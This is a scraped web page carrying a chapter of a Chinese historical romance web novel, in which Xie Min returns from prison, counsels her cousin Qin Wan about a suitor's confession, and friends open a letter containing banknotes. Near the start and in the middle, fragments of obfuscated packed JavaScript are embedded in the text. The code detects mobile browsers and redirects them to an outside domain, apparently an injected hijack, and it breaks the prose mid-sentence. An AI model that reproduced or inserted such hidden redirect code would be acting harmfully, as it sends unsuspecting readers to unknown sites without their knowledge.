d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12397179|122943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后顿时愣在原地,好一会儿才反应过来。 “表哥!” “谢公子!” 谢旻一抬头,冲她们笑了笑。 等人到了跟前,她伸手摸了摸秦婉的脑袋,笑道:“婉儿长高了不少。”说着,话锋一转,又道:“字练得如何了?” “回公子的话,姑娘日日都练着呢。”彩蝶迫不及待地答道。 “那就好。” 秦婉前前后后打量了谢旻一番,见安然无恙才放下心来,道:“表哥,这些日子你定然受苦了。” 谢旻宠溺地看着她:“表哥无事,你们不必担心我。” “旻儿,答应姨母以后可不敢再这样做了,虽然姨母知道你所作之事皆出自本心,但是太危险了,若你有什么不测,我如何向那故去的姐姐交代?” “姨母。”她扶着她往屋子走,边走边道:“我答应您,以后不会再发生这种事了。” “当真?” “旻儿不敢欺瞒姨母。” 几人回到屋子,彩蝶忙着去烧水沏茶,柳姨娘这才想起来,拉着她的手问:“饿不饿?受了两个月的罪,肉眼可见地瘦了,唉,怎么就遇上了这种事,这要是在京郊园就不会.........” “姨母。”谢旻出声打断她,“我不会一辈子都待在京郊园的,这一路,终归还得是要靠自己走下去。” “是了,是了。”柳姨娘一边擦着眼泪一边又嘱咐端坐着的女儿:“你可听见你表哥说的了。” 秦婉乖巧地点了点头,问道:“表哥,我听别人说卯时初刑部就放了人,为何表哥你现在才回来?” 柳姨娘也看着她。 谢旻一怔,她断然不能将自己和沈时骞的事情说出来,于是道:“在狱中待了近两个月,浑身不适,便回了一趟国子监休憩整饰了一番,才敢来见你们。” 闻言,柳姨娘心又一颤,满脸心疼。 “不过......”谢旻望向秦婉,问道:“婉儿,你是听谁说的?” 秦婉顿时面露紧张,支支吾吾道:“不是我.....是彩蝶出去时听别人说的。” 恰逢这时彩蝶端着茶和一些糕点进来,对谢旻道:“姑娘是听我说的,我是听外面的人说的,公子放心。” “嗯,幸苦你了,彩蝶。” 彩蝶顿时喜形于色,连忙道:“不幸苦不幸苦,这是彩蝶应该做的。” 秦婉眼底露出一抹心虚,生怕表哥和母亲知道自己先前偷跑出去见周小公子的事。 柳姨娘道:“旻儿,今儿就歇下吧。” “是,姨母。” 秦婉连忙道:“那我待会回自己院子睡。” 柳姨娘点了点头,但又有些欲言又止。 谢旻知道姨母在担心什么,道:“姨母,太晚了,我就不去给主君主母请安了。” “可是若你不去,主君知道了会不会责怪。” “姨母放心,想必他们现在视我如瘟神,躲都躲不及,哪里还会想见我。” 柳姨娘连忙打住她:“呸呸!什么瘟神的,快别说了。” “好好好,侄儿不说了就是。” 几人又聊了会儿,等秦婉回去时,谢旻将她喊住,将人带到房里检查她这些日子炼的字帖。 秦婉撅了撅嘴,有些不情愿,谢旻当即就敲了敲她脑袋,打趣道:“怎么还和幼时一样,一不高兴就这撅着嘴。” “表哥,我真的很认真地练了。” 61. 杏衣染欢(五) 谢旻从桌上那一摞字帖中分三部分抽取出来几张,从头扫到尾,须臾,拿出一张放在她面前,指着其中一行,道:“字迹不端,可见你落笔时心不在焉。” 秦婉瞥了一眼那行字,几乎是瞬间就收回目光。 这正是一个月前,彩蝶烧信那天晚上所写。 谢旻见她神色慌乱,随意翻看了几页便就此作罢,道:“婉儿,表哥知你一时之间难以........” “表哥。”秦婉出声打断她,脸上慢慢浮现一抹笑容:“你和母亲再给我点时间,我会放下的,也不会让你们再替我担心。” 她看着婉儿强颜欢笑的模样,心里不是滋味,从前她不懂男女之情,也不愿意去懂,直到遇见沈时骞,当初醉酒一吻,她落荒而逃,不愿也不敢接受沈时骞递过来的那份心意,直到后来入狱,看着他不顾一切地为了自己做了那么多事,她突然心疼了。 今日在南亭湖畔听完云长的话,看见沈时骞撑着伞从雨中向自己奔赴而来的那一刻,她想,自己这颗心,若是他想要,给了他也无妨。 如今自己尝到了其中滋味,她再不能像从前那样,用强硬的态度逼迫婉儿断了自己心里念着的那个人,可是,她仍然不愿看见婉儿入宫。 自古天子无情,可后宫女子偏偏是依仗天子的怜悯而活,这种活法太过卑微,她不能让婉儿这样活着。 她伸手摸了摸婉儿的脑袋,宠溺道:“表哥信你。” “谢谢表哥,对了,先前一位名叫沈时骞的公子托周小公子向我和姨母问安,表哥,这位沈公子从未听你说起过,他是哪家公子啊?” 谢旻一怔,忙问:“这是何时的事?” “一个月前,表哥案子开堂审理前一天。” 一个月前?那时她还在狱中,沈时骞什么时候去找了周小公子? “周小公子还说了别的没有?” 秦婉愣了一下,脑海里浮现出那天在栖水桥头的场景,支支吾吾道:“没.......没了。” 谢旻紧紧盯着她的眼睛,又问了一遍:“当真没有?” 秦婉顿时心一紧,这些天她一边为表哥的案子担忧,一边又因为对周小公子的亏欠而心生愧意,练了许久字也安不下心来,今日表哥出了狱,心里悬着的石头也落了地,可对自己以后的归处却越发迷茫了起来。 见她不想说,谢旻也不再追问了,拍了拍她肩膀,道:“婉儿长大了可以有自己的秘密,但是若是因为一些事而困惑烦心,不妨同表哥说说,表哥替你想想办法。” “表哥。” 语气有些委屈,又有些犹豫。 “嗯?” “我......他......”她难以宣之于口,须臾,面露愧色,慢慢说了下去:“周...周小公子那天...同我表明了心意。” 谢旻微微一愣,但很快就恢复如初,这似乎是意料之中的事,她想了想,平静道:“所以周小公子来刑部大牢探望我,是因为你。” 秦婉艰难地点了点头:“他为了帮我,从刑部大牢出来后就被他父亲禁足在家,整整一个月,后来是沈公子帮忙将他带出来的。”说着说着,语气有些哽咽,不知所措地望着谢旻,道:“表哥,你以前说人这辈子不可能做到不亏不欠,欠钱、欠命都可以还,还了也就了无牵挂,但唯独不能欠的是情份,可是如今我....我这个样子........又该怎么偿还他啊。” 这一问,真把谢旻问住了。 怎么偿还? 她也曾对沈时骞想过这个问题,虽然今日她已经将自己的心给了沈时骞,但也不会因此把他对自己的付出都当成是理所当然,她会把他对自己的好一件一件放在心上,再一一还给他。 可是婉儿不同,婉儿对周小公子并无男女之情,更何况主君手里还有道圣旨,想必周小公子也不可能不知道,这种情况下,他还是同婉儿表明了心意,可见他是下定了决心。 那周小公子虽性子腼腆,可品行端正,是个正人君子,他断然不会以此事强迫婉儿偿还些什么。 她担心的是,周小公子明知道婉儿即将入宫为妃,还是表明了自己的心意,郡主说过,婉儿不会入宫,若是因此同周小公子走得近了,恐怕宫里那位少年天子会为此刁难周家,纵然现在不会,等将来他羽翼丰满,周岘考了功名入朝为官,也难保那时他不会为难周岘。 想到这里,谢旻有些头疼,她伸手揉了揉眉心,嘱咐道:“婉儿,这件事你不要同任何人提起。” 秦婉点点头:“我知道的,除彩蝶以外,无人知道,母亲那我也未曾透露过半个字。” “好婉儿,你听表哥说,周小公子的为人我们心如明镜,想必他也不希望因为他的心意而让你困扰,你既不中意于他,就要同他保持距离,但你要记住他对你的好,日后他若遭遇困境,你记得要拉他一把。”说着,又叹了口气,续道:“说起来,此事还是因为我,若要偿还,我也应当还一份才是。” “表哥,不是因为你......”秦婉红着眼,哽咽道。 “好了。”谢旻伸手擦了擦她眼角的眼泪,道:“这世上的好姻缘不是只靠两情相悦就能走得长久的,不管以后如何,婉儿你记住,你就是你,不要因为别人而变成自己不喜欢的样子,更不要为别人而活,知道吗?” “嗯,婉儿记住了。” 谢旻欣慰地笑了笑。 烛火摇曳,她抬眸看了眼窗外,道:“好了,时辰不早了,回去歇息吧,若是日后还有困之于心的事,就给表哥写信。” “好。”秦婉起身,忽地想起来什么,又道:“表哥你明早何时动身回国子监?我好送送你。” “不必了,知道你喜欢赖床,多睡会儿无妨。” “表哥明日就要走了,婉儿岂敢赖床?” 听她语气有些俏皮,谢旻也松了口气,正在这时,窗外突然传来一阵窸悉簌簌地响动,两人连忙出了屋子,只见柳姨娘正在小厨房里揉面,彩蝶正在一旁打下手。 谢旻迅速走上前,拦住柳姨娘:“姨母,天色已晚,早些休息,不必为我做这些。”说着,伸手示意彩蝶也一并停下。 彩蝶停在原地,看着柳姨娘。 柳姨娘笑道:“旻儿,你好不容易从狱中出来,明儿一大早又要回国子监,我闲来也是无事,做些木荷糕给你带回去吃。” “姨母,旻儿又不是不回来了,等年关国子监准假,我便回来了,再说彩蝶也要和婉儿回去歇息了。” 柳姨娘抬头看了一眼婉儿,问道:“你若是困了,就和彩蝶回去吧,这里我一个人也行。” 秦婉连忙摇头:“我不困,是表哥说我困。”说着就撸起袖子帮着柳姨娘洗荷叶,边洗边道:“眼下这个时节,池塘里的荷花开得正好,这荷叶都沾染了荷香。” 彩蝶满脸笑意地找来一个花瓶,将傍晚时分采摘回来的荷花插了进去,接着道:“姑娘说得对,今年这荷花开得正好。” 见两人一唱一和,谢旻也没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12432832|122943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦她们,伸手卷起袖子,接过婉儿清洗好的荷叶,放在舂桶细细舂碎,笑道:“行了,我认输。” “哈哈哈哈哈!” 几人不约而同地笑了起来。 一缕缕载满着荷香的炊烟缓缓从秦宅后院升起,檐下两盏灯笼正灼,似乎是被院中的欢声笑语给惊扰到了,随风摇曳不停。 * 与谢旻分别之后,沈时骞马不停蹄地赶回了京郊园,刚过听雨桥,远远就见袁浣山坐在斋舍门口。 看样子,这是在等他。 等他走近一看,却见这人正在打瞌睡。 沈时骞盯着他,看在他腿还没痊愈的份上,忍住没动手。 “醒醒。” “啊,回来了!”袁浣山立马惊醒,两眼放光,撑着门框起身,兴奋道:“如何?谢旻怎么样了?可还好?快说快说!” 他叹了口气,道:“先回去,有东西要给你看。” “东西?什么东西?哪来的?” 沈时骞看着他一瘸一拐地模样,蹙着眉伸出一只手扶住他胳膊往里走,边走边道:“一封信,谢旻给的。” 袁浣山一听,忍不住激动地差点拐了脚。 “天啊!谢旻居然会给我写信!果然他还是没忘了我!也不枉我这个孤寡老人在这等了你一天!”说着,他突然停下来,摁住自己胳膊上的手,眯着眼睛问道:“话说,你方才在路上偷没偷看?如实招来!” 沈时骞无语至极。 “这信她让我们两人一同打开看。” 袁浣山瞪大了眼睛,一副不可置信的样子看着他:“不是单独给我的?” “要是想知道的话,就快些走。” 袁浣山边走边郁闷,在心里暗骂沈时骞。 回到屋子,袁浣山来不及坐下就嚷着让他把信拿出来看。 沈时骞慢条斯理地从怀中拿出信递放在他面前。 袁浣山眼睛直勾勾地盯着那信,刚要伸手拿,突然又顿住了,问道:“话说你真没看过?” “没看过。” 谢旻说让他与袁浣山一同打开看,那么他定然会遵守诺言。 听了这话,袁浣山这才放下心来,怕看不清字,他又让沈时骞点了两只蜡烛。 满堂烛光下,他搓了搓手,慢慢打开信口,手刚伸进去,眉头瞬间一蹙,指腹间传来不同于纸张的触感,他连忙抽出来一看,顿时就傻眼了。 竟然是六张面值五十两的银票! 沈时骞看着面前这六张银票,微微一怔,忽地后知后觉,难怪她要自己回京郊园与袁浣山一同打开看。 不过,她哪里来的这么多银票? “谢旻这是什么意思?他这又是那里来的钱?” 沈时骞放下茶杯,问道:“你当初买通狱卒花了多少银子?” “一百五十两。”话刚落音,他就反应过来了,满脸失望:“谢旻怎么能这样,谁要他还这钱。” “她大概是不想亏欠。” “你说得对,谢旻这人确实就是这样的性子,唉。”袁浣山叹了一口气,郁闷极了,又问:“你方才回来的时候,大门那我爹派过来的人还在不在?” “在。” “哦。”他更加郁闷了。 “你把那蜡烛熄了,照得我眼睛疼。” 沈时骞握紧拳头,想起谢旻醉酒时说过的话,生生忍住了,当即挥手灭了灯,起身回了自己的屋子。 袁浣山连忙大喊:“你的银票!拿走!”